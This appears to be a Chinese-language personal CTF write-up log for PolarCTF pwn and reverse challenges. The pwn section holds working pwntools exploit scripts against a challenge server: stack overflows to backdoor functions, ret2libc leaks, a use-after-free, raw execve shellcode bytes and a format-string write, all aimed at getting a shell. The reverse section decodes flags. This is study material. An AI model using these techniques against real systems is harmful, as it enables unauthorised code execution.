PIE: No PIE (0x8048000)
bbq@ubuntu:~$

后门

1
2
3
4
5
6
7
8
from  pwn import *
p = remote('1.95.36.136', 2058)


pay=b'a'*(0x6c+4)+p32(0x804887C)

p.sendline(pay)
p.interactive()

look

没啥说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#32位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
context.os='linux'
elf = ELF('./look')
p=remote('1.95.36.136', 2095)


#params1
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr =0x8048561

#attack1
payload1 = b"A"*(0x6c+4)+ p32(write_plt) + p32(main_addr) +p32(1)+ p32(write_got)+p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
print(hex(write_addr))


'''
#构建一下libc
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
# p.sendline(payload)
p.recvuntil('Correct\n')
payload2 = flat([b'A'*(0xe7+4),system_addr,main_addr,bin_sh])
p.sendline(payload2)
'''

p.interactive()

worker

先日常检查一下

1
2
3
4
5
6
7
8
bbq@ubuntu:~/tools/LibcSearcher$ checksec worker
[*] '/home/bbq/tools/LibcSearcher/worker'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/tools/LibcSearcher

看着像是堆题

但是ida看一眼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init_0();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
del();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 1285 )
{
if ( qword_6020C0 <= 1284 )
{
puts("Bad!");
}
else
{
puts("Congratulate!");
shell();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
make();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit();
}
}
}

但是有个shell,也不知道是假的还是作为一个后门

既然是堆题看看能不能先找到漏洞再说

ezUAF

既然给出了漏洞,那就直接看

模板题型啥也不说了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./ezUAF')
p=remote('1.95.36.136', 2080)
#p = process('./like_it')



def Add(Size, Context):
p.recvuntil(':')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(Size))
p.recvuntil(':')
p.sendline(Context)


def Del(Index):
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(Index))


def Show(Index):
p.recvuntil(':')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(Index))


magic_addr=0x8048945


# min_Size = 0x10 + len(Context) + 1
Add(0x14, 'polar_ctf') # chunk 0
Add(0x19, 'polar_ctf_2023') # chunk 1
# 用于POP chunk隔离
#Add(0x10, 'polar') # chunk 2

# todo 思考为什么是先删除0,再删除1
Del(0)
Del(1)

Add(6, p64(magic_addr))
Show(0)
inter()

ezuaf

1
2
3
4
5
6
7
8
bbq@ubuntu:~/tools/LibcSearcher$ checksec ezuaf
[*] '/home/bbq/tools/LibcSearcher/ezuaf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/tools/LibcSearcher$

看着开了随机化,应该是有后门的吧

结果不是我想的UAF函数

ida打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
Polar_init();
while ( 1 )
{
mulu();
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 2:
puts("[+] Input Size : ");
__isoc99_scanf("%d", &v4);
heap = my_malloc(v4);
break;
case 3:
my_print_heap();
break;
case 1:
puts("[+] Input FileName : ");
__isoc99_scanf("%s", fileInfo);
dword_6020E8 = read_file(fileInfo);
puts("[+] Success!");
break;
}
}
}

看一下菜单

1
2
3
4
5
6
int mulu()
{
puts("[+] 1.Read");
puts("[+] 2.Malloc");
return puts("[+] 3.Print");
}

一读取、二申请堆块、三打印堆块

在read里面我们也是看见了UAF函数

image-20241118192841144

然后我们就可以继续利用这个漏洞了

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./ezuaf')
#p=remote('',)
p = process('./ezuaf')



sla('Print\n',b'1')
attach(p,'b *0x0000000004009CD')
pause()
sla('FileName :',b'flag')





inter()

怎么说呢看一眼wp。看看malloc之前的堆块长什么样。看看申请之后是什么样

image-20241119102718546

申请后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./ezuaf')
#p=remote('1.95.36.136', 2115)
p = process('./ezuaf')



sla('Print\n',b'1')
#attach(p,'b *0x0000000004009CD')
#pause()
sla('FileName :',b'flag')

sla('Print\n',b'2')
sla('Size :',b'30')

sla('Print\n',b'3')
str = u64(p.recv(8))
pr(hex(str) )

sla('Print\n',b'2')
sla('Size :',b'543')

sla('Print\n',b'3')

inter()

music

没啥说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./music')
p=remote('1.95.36.136', 2140)
#p = process('./friend')


sla('to music?\n',b'yes')
sla('of music?\n',b'pop')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
#attack1
payload = b"A"*(0x3a+4)+ p32(puts_plt) + p32(main_addr) +p32(puts_got)
rl('as you!\n')
p.sendline(payload)
#p.recvuntil('\n\n')
#puts_addr = u32(p.recv(4))
puts_addr=get_addr32()
pr(hex(puts_addr))



#构建一下libc
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
pr(hex(libc_base))


system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
sla('to music?\n',b'yes')
sla('of music?\n',b'pop')
rl('as you!\n')
payload = flat([b'A'*(0x3a+4),system_addr,b'AAAA',bin_sh])
#rl('Ret2libc\n')
sl(payload)



inter()

txxxt

后门啥也不说了

1
2
3
4
5
6
7
8
from  pwn import *
p = remote('1.95.36.136', 2147)


pay=b'a'*(0x9+4)+p32(0x804859B)

p.sendline(pay)
p.interactive()

shellcode分割

既然说是shellcode了

那就写shellcode喽

1
2
3
4
5
6
7
8
9
10
bbq@ubuntu:~/tools/LibcSearcher$ checksec 1111
[*] '/home/bbq/tools/LibcSearcher/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
bbq@ubuntu:~/tools/LibcSearcher$

这里没有特别好的思路直接看wp了

这里直接贴EXP了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


from pwn import *
#io = process("./1111")
io=remote('1.95.36.136', 2145)
context(os='linux',arch='amd64',log_level='debug')
shell1 = 0x0000000000404090
shell2 = 0x00000000004040A0
shell_addr = 0x4011F4
main_addr = 0x4013c3
yichu_addr = 0x40139a

# Initial payload to overwrite return address
#io.recv()
#payload = b'a' * 16 + p64(yichu_addr)
#io.sendline(payload)
io.recv()
payload = b'a' * 16 + p64(shell_addr)
io.send(payload)

io.recvuntil(b"please : ")
io.sendline(b'1')
payload1 = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f'

io.sendline(payload1)

io.recvuntil(b"please : ")
io.sendline(b'2')
payload2 = b'\x6a\x3b\x58\x31\xd2\x0f\x05'
io.sendline(payload2)

io.recvuntil(b"please : ")
io.sendline(b"4")

payload = b'a' * (0x28) + p64(shell1)
io.send(payload)

io.recvuntil(b"please : ")
io.sendline(b"3")

io.interactive()

image-20241119193941672

这里其实不用直接返回main函数,直接返回到shellcode函数地址就行了

本地没打通先放着看看

find

后门没啥说的

1
2
3
4
5
6
7
8
from  pwn import *
p = remote('1.95.36.136', 2098)

p.sendlineafter('need:\n',b'2')
pay=b'a'*(0x70+4)+p32(0x80485F1)

p.sendline(pay)
p.interactive()

travel

格式化字符串-基本题型

image-20241119201746995

偏移为6

1
2
3
4
5
6
7
8
9
from pwn import*
p=remote('1.95.36.136', 2094)

#p=process('./pwn')

#backdoor=0x80484F6
payload=p32(0x804A030)+b"%6$n"
p.send(payload)
p.interactive()

heap_Double_Free-未做出

2024.11.20

既然给了漏洞就简单看一下

1
2
3
4
5
6
7
8
bbq@ubuntu:~/tools/LibcSearcher$ checksec 1111
[*] '/home/bbq/tools/LibcSearcher/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/tools/LibcSearcher$

堆这块是一点思路没有,准备在看看前置知识

Polar-Reverse

shell

先查一下壳

image-20241212193302599

有一个upx1的壳,拖一下壳,这里我用的脱壳机和upx都试了一下,看一下有啥不一样

image-20241212194019347

显而易见后者跟好一些

签到题也是很明显的

flag{crack_is_funny}

JunkCode

查壳

image-20241212194400230

32位,丢进ida里面

是到花指令的题,这里我是直接动调出的

直接跳到最后的判定条件

image-20241212200749778

image-20241212200716477

flag{junk_code_is_funny}

怎么说呢!

静态应该也能看

这里倒腾半天好像不行,最简单的犯法就是在常规地方nop一手直接进行动调,在下一个最后的断点,直接f9进行步过

看见判断条件就可以直接看见flag。

PE结构

看到题目直接010打开,看下文件头

image-20241212204950777

没啥说的,改回来就行

image-20241212205251602

flag{66987add03c98a8f0cac71e4cafc2a6a}

拼接

打开解压即可

image-20241212205853635

白给flag{03ff6cf238c5cd8e7b4ee1e9567ad5a4}

加加减减

打开ida分析一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h> // 用于 strlen 函数

int main() {
char Str[] = "ek`fz5123086/ce7ac7/`4a81`6/87b`b28a5|"; // 字符串用双引号括起来
size_t i; // 定义循环变量 i
size_t len = strlen(Str); // 使用标准库函数 strlen 计算字符串长度

for (i = 0; i < len; ++i) {
++Str[i]; // 每个字符减 1
}

printf("%s", Str); // 输出整个字符串

return 0;
}

康师傅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h> // 用于 strlen 函数

int main() {
char Str[] = "oehnr8>?;<?:9k>09;hj00o>:<o?8lh;8h9l;t"; // 字符串用双引号括起来
size_t i; // 定义循环变量 i
size_t len = strlen(Str); // 使用标准库函数 strlen 计算字符串长度

for (i = 0; i < len; ++i) {
Str[i]=Str[i]^9; // 每个字符减 1
}

printf("%s", Str); // 输出整个字符串

return 0;
}

另辟蹊径

打开是没见过的

直接看wp,下载Cheat Engine

Cheat Engine

Cheat Engine安装&汉化教程 - 哔哩哔哩 (bilibili.com)

完成汉化后

CE加载一下这个程序

image-20241213104007036

image-20241213104044112

然后继续运行程序

image-20241213104104634

得到flag

flag{60983973c2ab87436914d71000e4b4e4}

老八小冒险*

2024.12.18

jbkjckjsdsfdsfjbkjckj

60b6cd0848639100c68c04d4884db1e8

RevMethod

那道题目之后,先跑了一遍findcrypt,看见了好多flag

看一下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int sub_1F1990()
{
unsigned int v0; // eax
int v1; // edx
int v2; // ecx
int v3; // edx
int v4; // ecx
int v5; // edx
int v7; // [esp-4h] [ebp-21Ch]
char v8; // [esp+0h] [ebp-218h]
char v9; // [esp+0h] [ebp-218h]
int j; // [esp+D0h] [ebp-148h]
int i; // [esp+DCh] [ebp-13Ch]
char v12[264]; // [esp+E8h] [ebp-130h] BYREF
int v13; // [esp+1F0h] [ebp-28h]
char v14[24]; // [esp+1FCh] [ebp-1Ch] BYREF
int v15; // [esp+214h] [ebp-4h]
int savedregs; // [esp+218h] [ebp+0h] BYREF

sub_1F1334(&unk_1FD006);
v0 = sub_1F1E80(0);
srand(v0);
sub_1F1258(v2, v1);
strcpy(v14, "abcdef0123456789");
v13 = 0;
j_memset(v12, 0, 256u);
for ( i = 0; i < 100; ++i )
{
for ( j = 0; j < 32; ++j )
{
rand();
v12[j] = v14[sub_1F1258(v4, v3) % 16];
}
pritnf("\"flag{%s}\", \r\n", v12);
}
pritnf("What is the true flag???\r\n", v8);
scanf("%s", v12);
v5 = v12[0];
if ( v12[0] == *(&byte_1FA000 + 160) )
{
v5 = 1;
if ( v12[1] == *(&byte_1FA000 + 561) )
{
v5 = 2;
if ( v12[2] == *(&byte_1FA000 + 962) )
{
v5 = v12[3];
if ( v12[3] == *(&byte_1FA000 + 1363) )
{
v5 = 4;
if ( v12[4] == *(&byte_1FA000 + 1764) )
{
v5 = v12[5];
if ( v12[5] == *(&byte_1FA000 + 2565) )
{
v5 = v12[6];
if ( v12[6] == *(&byte_1FA000 + 2566) )
pritnf("Just is it!!!", v9);
}
}
}
}
}
}
(sub_1F11F4)(&savedregs, &dword_1F1C54, 0, v5);
return sub_1F1258(&savedregs ^ v15, v7);
}

怎么说呢!还是比较容易理解的,大概就是随机生成了100个随机生成的32位flag,给了我们符合条件的语句就得到flag

这里我开始以为是要进行爆破得到flag。倒腾一会发现

image-20241218210639062

这几个数都未免也太大了一些,仔细看了一下这个判断条件

1
*(&byte_1FA000 + 2566)

这里其实是一个指针,指向的是距离byte_1FA000地址偏移为2566距离的值,地址也告诉你了0x1fa000

看一下地址偏移的值

image-20241218211051966

得到flag

image-20241218211100396

flag{cdb10e38735935eae8a6989e372bd598}

use_jadx_open_it

2024.12.19

根据题目提示

image-20241219150758070

找到main函数,直接能看见flag

image-20241219150938988

1
flag{go_to_study_android}

re2

flag{e10adc3949ba59abbe56e057f20f883e}

layout

安卓题

jadx打开

资源文件 >>layout>>activity main.xml

image-20241219164233143

逆一下子

打开不知道是干啥的

ida反编译之后,finger一下(也没啥用),那会想着好找一些main函数

image-20241219183854462

然后把这个后面的-去掉就行了

flag{c68dd2625b9125411ba71f3d810341c4}

但是正常的解法是应该用Resource Hacker 打开

image-20241219184311365

去除后面的禁止调用,然后正常点击编译后就可以看见我们的flag

可以点击了

image-20241219184755267

image-20241219184759916

没啥用我感觉!!!!

可以为师

image-20241219185530472

flag{a5dd39834f606a4c00cc83d507c5e599}

一样做法

image-20241219190307966

逢七必变

2024.12.19

日常查壳

image-20241219191323617

丢进ida里面看看

说是话这是有壳的,看了半天没感觉出来

image-20241221183015988

又解压了一遍看了一下,嘶

行吧,找一下oep

怎么说呢?

找半天,具体就是

先F9走到主函数

image-20241221195427697

在ret下断点

image-20241221195512882

在步过一下

image-20241221195543041

然后就行了

image-20241221195628025

脱完壳,拖进ida里面

image-20241221195709793

插件找一手就行了,看见主要逻辑

image-20241221195751811

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<string.h>


int main()
{
signed int v0; // kr00_4
signed int i; // [esp+14h] [ebp-110h]
// char v3[256]; // [esp+20h] [ebp-104h] BYREF

char v3[]="akf`|7fda1005c?1b253bc17346b5c77bab?0z";
//sub_E21FC0(&v3[39], 0, 217);
v0 = strlen(v3);
for ( i = 0; i < v0; ++i ){
v3[i] ^= 7u;
printf("%s",v3) ;
}
return 0;
}
//flag{0acf6772d86e524ed60431e2d00efe87}

高卢战记

2024.12.21

直接ida打开看见密文

image-20241221212123604

然后在高卢战记的提示下是证明是凯撒加密

image-20241221212225651

1
2
3
4
5
6
src='6f759f8f7:deg::796486<8<8edf9:73'
flag=''
for i in range(len(src)):
flag+=chr((ord(src[i])-3))

print("flag{"+flag+"}")
1
flag{3c426c5c47abd774631539595bac6740}

Why32

2024.12.22

点进去找到主要加密逻辑就完事了

image-20241222124835928

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h> 

int main()
{
//char cAry[34]; // [rsp+20h] [rbp-30h] BYREF
//int flag; // [rsp+48h] [rbp-8h]
int i; // [rsp+4Ch] [rbp-4h]

char cAry[33]="2gfe8c8c4cde574f7:c6c;:;3;7;2gf:";
// flag = 0;
char str[33];
for ( i = 0; i <= 31; ++i )
{
str[i] = cAry[i] - 2;
printf("%c",str[i]); //主要这里是写的c而不是s,s打印字符串,c打印单个字符串
}
//printf("\n");
// printf("flag{%s}",str) ;
return 0 ;
}
//0edc6a6a2abc352d58a4a98919590ed8
flag{0edc6a6a2abc352d58a4a98919590ed8}

image-20241222131546651

啥意思给了一半是吧

找半天,原来是只解了一半,在解一个md5就行了哇

MD5免费在线解密破解_MD5在线加密-SOMD5

F1laig

这是flag

套个壳子就行了

左右为难

2024.12.22

没啥说的,迷宫解密

然后md5加密就行了

找一下迷宫的长宽,16*8

1
2
3
4
5
6
7
8
9
10
0000000000000000
0@00000111000000
0100111101011100
0100100001010100
0100111001110110
0100001000000010
01111110000000$0
0000000000000000
sssssdddddwwaawwdddwddsssddwwddssdss
f787a0b786068936636c1e10e246a297

动态酷

2024.12.22

这里直接给了个dll文件

打开找到catflag

image-20241222144815846

提取一下

image-20241222144822499

flag{84649ac8ca256511a52fc9359fa367a1}

?64

2024.12.22

打开找逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
#include<string.h>


int main(int argc, const char **argv, const char **envp)
{
//__int64 v4[2]; // [rsp+20h] [rbp-40h]
int v5; // [rsp+30h] [rbp-30h]
// _WORD v6[12]; // [rsp+40h] [rbp-20h] BYREF
int v7; // [rsp+58h] [rbp-8h]
int i; // [rsp+5Ch] [rbp-4h]

// _main();
char v6[17]="YlwAY08ob1gkTlT<";
char v4[17];
v7 = strlen(v6);
for ( i = 0; i < v7; ++i )
{
v4[i] = v6[i] + 1;
printf("%c",v4[i]);
}
return 0;
}

image-20241222163353625

我以为都结束了,为什么后面还塞了个md5加密哇

image-20241222163451624

5d15777a411724ee5d029caca1ca7298

Java_Tools

jadx打开

明显的主函数可以看见

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main.java;

import java.util.Scanner;

/* loaded from: Java_project.jar:main/java/Test.class */
public class Test {
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
System.out.println("Welcome to Polar_Ctf!,come to play!");
System.out.println("Please Input : ");
String name = in.next();
char[] Strings = name.toCharArray();
Tools.Add_1(Strings, 3);
Tools.Re(Strings);
Tools.Judge(Strings);
}
}

很明显的三个加密函数,然后我们就可以进行逆向解密就行

主要逻辑在下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package main.java;

import java.util.ArrayList;

/* loaded from: Java_project.jar:main/java/Tools.class */
public class Tools {
public static int j = 6;

public static void Re(char[] str) {
for (int i = 0; i < (str.length / 2) - 1; i++) {
char temp = str[i];
str[i] = str[(str.length - i) - 1];
str[(str.length - i) - 1] = temp;
}
}

public static void Xor(char[] str) {
for (int i = 0; i < str.length; i++) {
str[i] = (char) (str[i] ^ j);
}
}

public static void Add_1(char[] str, int x) {
for (int i = 0; i < str.length; i++) {
str[i] = (char) (str[i] + x);
}
}

public static void Judge(char[] str) {
ArrayList<Character> Result = new ArrayList<>();
ArrayList<Character> Flag = new ArrayList<>();
for (char c : str) {
Character i = Character.valueOf(c);
Result.add(Character.valueOf(i.charValue()));
}
String sttr = new String(str);
if ("$gourZroohK".contains(sttr)) {
System.out.println("You Are Right!MD5!");
} else {
System.out.println("You Are Wrong! please try it again!");
}
char[] Strings = "$gourZroohK".toCharArray();
for (char c2 : Strings) {
Flag.add(Character.valueOf(c2));
}
if (Result.equals(Flag)) {
System.out.println("You Are Right!MD5!");
} else {
System.out.println("You Are Wrong! please try it again!");
}
}
}

judge函数判断密文应该就是$gourZroohK,然后就进行Re和add_1就行了,add_1看代码就是一个凯撒加密,Re就是一个反转操作

因为这里还有应该异或操作,因为没有调用,所以不管

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
src=[0x24,0x67,0x6F,0x75,0x72,0x5A,0x72,0x6F,0x6F,0x68,0x4B]

for i in range(len(src)):
print(chr(src[i]-3),end='')

#!dlroWolleH


#src='!dlroWolleH'
#for i in range(len(src)):
# print(chr(ord(src[i])^6),end='')
#'bjtiQijjcN

src1 = "!dlroWolleH"
src = list(src1) # 将字符串转换为列表
temp = '' # 定义一个临时变量

for i in range(len(src) // 2): # 遍历一半的长度
temp = src[i]
src[i] = src[len(src) - i - 1]
src[len(src) - i - 1] = temp

# 将列表转换回字符串
result = ''.join(src)
print(result)
#HelloWorld!

其实到HelloWorld!就差不多了,不过我md5了一下。32小写

06e0e6637d27b2622ab52022db713ce2

就对了

混淆Code?

2024.12.22

image-20241222191010737

ida打开康康

动调半天,怎么说呢!

前面的限制字符串我以为是37!但是我们发现是可以不到37的,so我在尝试了一手输入我们的密文

1
`lfgc-y`b}v!

到X函数这里的时候我们会发现

image-20241223101255596

我们的密文被转换为了

image-20241223101342917

因为是异或我们正常把hello world!输入回去同样能得到密文

1
`lfgc-y`b}v!

然后我们在check着就可以看见我们的检查字符串就对了

image-20241223101653902

然后进行md5加密就行了

flag{fc3ff98e8c6a0d3087d515c0473f8677}

Android*

2024.12.23

jadx打开找到主要加密逻辑,丢给gpt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package com.example.myapplication;

import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.io.FileNotFoundException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

/* loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {
private static char[] alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".toCharArray();
Button btn_reg;
EditText edit_sn;
String temp = "JNI_Onload";

public static native String Judge(String str);

static {
System.loadLibrary("native-lib");
}

